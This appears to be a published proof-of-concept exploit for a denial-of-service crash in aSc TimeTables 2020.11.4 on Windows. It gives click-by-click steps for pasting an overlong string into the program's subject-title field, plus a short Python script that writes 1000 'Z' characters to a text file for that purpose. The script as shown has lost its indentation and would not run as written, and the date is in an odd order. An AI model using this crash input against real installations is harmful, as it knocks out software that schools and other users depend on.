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# Exploit Title: aSc TimeTables 2020.11.4 - Denial of Service (PoC)  
# Date: 2020-24-02  
# Exploit Author: Ismael Nava  
# Vendor Homepage: https://www.asctimetables.com/#!/home  
# Software Link: https://www.asctimetables.com/#!/home/download  
# Version: 2020.11.4  
# Tested on: Windows 10 Home x64  
# CVE : n/a  
  
# STEPS  
# Open the program aSc Timetables 2020  
# In File select the option New  
# Put any letter in the fiel Name of the Schooland click Next  
# In the next Windows click NEXT  
# In the Step 3, in Subject click in New   
# Run the python exploit script, it will create a new .txt files  
# Copy the content of the file "Tables.txt"  
# Paste the content in the field Subject title  
# Click in OK  
# End :)  
  
  
buffer = 'Z' * 1000  
  
try:   
file = open("Tables.txt","w")  
file.write(buffer)  
file.close()  
  
print("Archive ready")  
except:  
print("Archive no ready")